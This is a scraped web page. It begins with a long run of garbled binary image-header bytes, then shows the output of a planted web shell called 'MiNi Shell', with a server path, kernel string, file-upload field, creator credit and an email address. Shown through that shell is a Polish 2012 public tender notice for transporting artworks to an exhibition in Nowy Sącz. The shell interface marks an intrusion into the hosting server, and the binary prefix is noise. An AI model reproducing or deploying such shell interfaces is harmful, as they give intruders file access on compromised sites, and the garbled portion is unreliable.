JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20120730/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20120730/165283-N-2012.html

<p class="kh_header"><b>Nowy Sącz: Kompleksowa usługa transportu dzieł sztuki dla piątej wystawy projektu Sztuka współczesna narodów dawnej monarchii Austro - Węgierskiej</b><br>
<b>Numer ogłoszenia: 165283 - 2012; data zamieszczenia: 30.07.2012</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Małopolskie Centrum Kultury "Sokół" w Nowym Sączu , ul. Długosza 3, 33-300 Nowy Sącz, woj. małopolskie, tel. 18 4482610, faks 18 4482611.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.mcksokol.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Podmiot prawa publicznego.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Kompleksowa usługa transportu dzieł sztuki dla piątej wystawy projektu Sztuka współczesna narodów dawnej monarchii Austro - Węgierskiej.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1) Przedmiotem zamówienia jest świadczenie kompleksowej usługi transportu dzieł sztuki dla piątej prezentacji  projektu: Sztuka współczesna narodów dawnej monarchii Austro-Węgierskiej:
a) Etap I: przywóz dzieł sztuki z Berlina, Monachium (Niemcy), Oświęcimia (Polska), Budapesztu (Węgry) oraz Medzilaborce (Słowacja) do Nowego Sącza,
b) Etap II: odwóz dzieł sztuki z Nowego Sącza do Berlina, Monachium (Niemcy), Oświęcimia (Polska), Budapesztu (Węgry) oraz Medzilaborce (Słowacja).
2) Kompleksowa usługa transportu jest tu rozumiana jako: 
a) odpowiednie zapakowanie, zabezpieczenie dzieł sztuki w miejscu odbioru prac, załadowanie zabezpieczonych dzieł sztuki do samochodu (pozycja nr 2, 5, 6 załącznika nr 2) oraz przewiezienie dzieł sztuki w miejsce ekspozycji w nienaruszonym stanie (Galeria BWA SOKÓŁ w Nowym Sączu), wniesienie zabezpieczonych dzieł sztuki do budynku galerii w miejsce wskazane przez Zamawiającego, 
b) odpowiednie zabezpieczenie dzieł sztuki w miejscu odbioru prac i załadowanie zabezpieczonych dzieł sztuki do samochodu (pozycja nr 1, 4 załącznika nr 2) oraz przewiezienie dzieł sztuki w miejsce ekspozycji w nienaruszonym stanie (Galeria BWA SOKÓŁ w Nowym Sączu), wniesienie zabezpieczonych dzieł sztuki do budynku galerii w miejsce wskazane przez Zamawiającego,
c) odpowiednie zabezpieczenie dzieła sztuki w miejscu odbioru i załadowanie zabezpieczonego dzieła sztuki do samochodu (pozycja nr 3 załącznika nr 2) oraz przewiezienie dzieła sztuki w miejsce ekspozycji w nienaruszonym stanie (Galeria BWA SOKÓŁ w Nowym Sączu), wniesienie zabezpieczonego dzieła sztuki do budynku galerii w miejsce wskazane przez Zamawiającego.
Uwaga: przewidziany osobny transport dla pozycji nr 3 załącznika nr 2 - transport indywidualny, niełączony z transportem pozostałych obiektów i prac; wymagany samochód uwzględniający 2 dodatkowe miejsca dla kuriera oraz pracownika muzeum z Państwowego Muzeum Auschwitz-Birkenau z Oświęcimia.
d) zabezpieczenie i zapakowanie dzieł sztuki po zakończeniu ekspozycji w miejscu ekspozycji (pozycja nr 2, 5, 6 załącznika nr 2), załadowanie zabezpieczonych dzieł sztuki do samochodu, przewiezienie dzieł sztuki w miejsce odbioru prac wskazane w załączniku nr 2 w nienaruszonym stanie, wniesienie zabezpieczonych dzieł sztuki w miejsce wskazane przez Wypożyczającego.
e) zabezpieczenie dzieł sztuki po zakończeniu ekspozycji w miejscu ekspozycji (pozycja nr 1, 4 załącznika nr 2), załadowanie zabezpieczonych dzieł sztuki do samochodu, przewiezienie dzieł sztuki w miejsce odbioru prac wskazane w załączniku nr 2 w nienaruszonym stanie, wniesienie zabezpieczonych dzieł sztuki w miejsce wskazane przez Wypożyczającego.
f) zabezpieczenie dzieła sztuki po zakończeniu ekspozycji w miejscu ekspozycji (pozycja nr 3 załącznika nr 2), załadowanie zabezpieczonego dzieła sztuki do samochodu, przewiezienie dzieła sztuki w miejsce odbioru pracy wskazane w załączniku nr 2 w nienaruszonym stanie, wniesienie zabezpieczonych dzieł sztuki w miejsce wskazane przez Wypożyczającego.
Uwaga: przewidziany osobny transport dla pozycji nr 3 załącznika nr 2 - transport indywidualny, niełączony z transportem pozostałych obiektów i prac; wymagany samochód uwzględniający 2 dodatkowe miejsca dla kuriera oraz pracownika muzeum z Państwowego Muzeum Auschwitz-Birkenau z Oświęcimia.
g) dopełnienie wszelkich czynności związanych z przewozem dzieł sztuki tego rodzaju środkiem transportu i wymagań związanych z obowiązującymi przepisami
h) transport obiektów na terenie RP oraz poza granicami RP.
3) Łączna wartość dzieł sztuki objętych usługą transportową wynosi: 249.167,58 euro.
4) Listę obiektów przewidzianych do transportu stanowi załącznik nr 2 do siwz.
5) Wykonawca będzie zobowiązany do zapewnienia odpowiedniego zabezpieczenia dzieł sztuki zarówno tych, które mają przewidziane opakowanie w formie skrzyni drewnianej, skrzyni metalowej (poz. nr 1, 3 4 załącznika nr 2), ale także tych nie zapakowanych (poz. nr 2, 5, 6 załącznika nr 2). Właściwe materiały, które mogą posłużyć do zapakowania dzieł sztuki na czas transportu to drewniane skrzynie oraz materiał zabezpieczający przewożone dzieła sztuki, jak karton, papier, styropian, folia bąbelkowa oraz gąbka.
6) Skrzynie z dziełami należy przewozić w pozycji pionowej, zgodnie ze sposobem ekspozycji, co będzie na nich oznaczone (skrzynie zapakowane przez Wypożyczających) w języku angielskim umieszczone zgodnie z kierunkiem jazdy. Skrzynie muszą być unieruchomione na czas transportu i nie mogą być ułożone jedna na drugiej.
7) Podczas postoju w czasie tranzytu, pojazd przewożący obiekty powinien być pod stałą obserwacją, jeśli kierowcy opuszczają tymczasowo pojazd, należy go dokładnie zamknąć i włączyć wszystkie systemy alarmowe. Kierowca powinien trzymać się uzgodnionej trasy przewozu.</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 60.10.00.00-9, 60.18.10.00-0, 60.18.30.00-4.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 12.10.2012.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawiajacy nie wymaga wniesienia wadium</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Na potwierdzenie tego warunku Zamawiający żąda, aby Wykonawca posiadał licencję na międzynarodowy transport drogowy.
Ocena spełniania powyższego warunku zostanie dokonana wg formuły: spełnia - nie spełnia, na podstawie złożonego przez Wykonawcę oświadczenia o spełnianiu warunków udziału w postępowaniu oraz dokumentu określonego w pkt III.4.1</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Na potwierdzenie tego warunku Zamawiający żąda, aby Wykonawca w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie; zrealizował min. 2 zamówienia polegające na transporcie dzieł sztuki na trasie międzynarodowej, 
Ocena spełniania powyższego warunku zostanie dokonana wg formuły: spełnia - nie spełnia, na podstawie złożonego przez Wykonawcę oświadczenia o spełnianiu warunków udziału w postępowaniu oraz dokumentu określonego w pkt III.4.1</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Na potwierdzenie tego warunku Zamawiający żąda, aby pojazd przeznaczony do transportu wskazanych dzieł sztuki posiadał nie więcej niż 5 lat. 
Ocena spełniania powyższego warunku zostanie dokonana wg formuły: spełnia - nie spełnia, na podstawie złożonego przez Wykonawcę oświadczenia o spełnianiu warunków udziału w postępowaniu oraz dokumentu określonego w pkt III.4.1</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie formułuje w tym zakresie szczegółowych warunków. 
Ocena spełniania powyższego warunku zostanie dokonana wg formuły: spełnia - nie spełnia, na podstawie złożonego przez Wykonawcę oświadczenia o spełnianiu warunków udziału w postępowaniu</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Na potwierdzenie tego warunku Zamawiający żąda, aby Wykonawca posiadał ubezpieczenie odpowiedzialności cywilnej w zakresie prowadzonej działalności gospodarczej zgodnej z przedmiotem zamówienia (przewoźnika w ruchu międzynarodowym) na sumę nie mniejszą niż 249.167,58 euro.
Ocena spełniania powyższego warunku zostanie dokonana wg formuły: spełnia - nie spełnia, na podstawie złożonego przez Wykonawcę oświadczenia o spełnianiu warunków udziału w postępowaniu oraz dokumentu określonego w pkt III.4.1</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">koncesję, zezwolenie lub licencję</li>

<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, dostaw lub usług  w zakresie niezbędnym do wykazania spełniania warunku wiedzy i doświadczenia w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączeniem dokumentu potwierdzającego, że te dostawy lub usługi zostały wykonane lub są wykonywane należycie</li>

<li  style="margin-bottom: 12px;">wykaz narządzi, wyposażenia zakładu i urządzeń technicznych dostępnych wykonawcy usług lub robót budowlanych w celu realizacji zamówienia wraz z informacją o podstawie  dysponowania tymi zasobami</li>

<li  style="margin-bottom: 12px;">opłaconą polisę, a w przypadku jej braku inny dokument potwierdzający, że wykonawca jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności związanej z przedmiotem zamówienia</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

<li style="margin-bottom: 12px;">wykonawca powołujący się przy wykazywaniu spełniania warunków udziału w postępowaniu na potencjał innych podmiotów, które będą brały udział w realizacji części zamówienia, przedkłada także dokumenty dotyczące tego podmiotu w zakresie wymaganym dla wykonawcy, określonym w pkt III.4.2.</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>
<p class="bold">III.6) INNE DOKUMENTY</p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>a) zobowiązanie podmiotów do oddania do dyspozycji Wykonawcy niezbędnych zasobów na okres korzystania z nich przy wykonywaniu zamówienia (jeżeli Wykonawca korzysta z zasobów innych podmiotów),
b) pełnomocnictwo lub notarialnie poświadczona kopia pełnomocnictwa - jeżeli zostało udzielone,
c) w sytuacji oferty złożonej przez Wykonawców występujących wspólnie pełnomocnictwo lub notarialnie poświadczona kopia pełnomocnictwa dla podmiotu uprawnionego do występowania w imieniu grupy wykonawców zgodnie z art. 23 ust. 2 ustawy z dnia 29 stycznia 2004 r. Prawo zamówień publicznych.</p>
<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>tak</p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>ZAMAWIAJĄCY dopuszcza istotne zmiany postanowień zawartej umowy, w stosunku do treści oferty, na podstawie której dokonano wyboru WYKONAWCY:
a) w zakresie terminu wykonania zamówienia, w przypadku koniecznych, niezależnych od ZAMAWIAJĄCEGO zmian terminów udostępnienia dzieł lub ich zwrotów,
b) w zakresie możliwości zmiany adresów odbioru i zwrotu prac w trakcie realizacji zamówienia. 
Jeżeli w wyniku powyższej zmiany trasa przewozu dzieł sztuki ulegnie skróceniu wówczas wynagrodzenie zostanie zmniejszone w oparciu o przedstawioną przez wykonawcę kalkulację skróconej trasy przewozu.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.mcksokol.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Małopolskie Centrum Kultury SOKÓŁ, 
ul. Długosza 3, 
33-300 Nowy Sącz,
pokój nr 410.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 07.08.2012 godzina 10:15, miejsce: Małopolskie Centrum Kultury SOKÓŁ, 
ul. Długosza 3, 
33-300 Nowy Sącz,
pokój nr 410.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Nazwa projektu: SZTUKA WSPÓŁCZESNA NARODÓW DAWNEJ MONARCHII AUSTRO - WĘGIERSKIEJ, Nr projektu: MRPO.03.03.02-12-140/10, Działanie 3.3 Instytucje kultury, Schemat B: Organizacja imprez kulturalnych o znaczeniu regionalnym i ponadregionalnym.</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com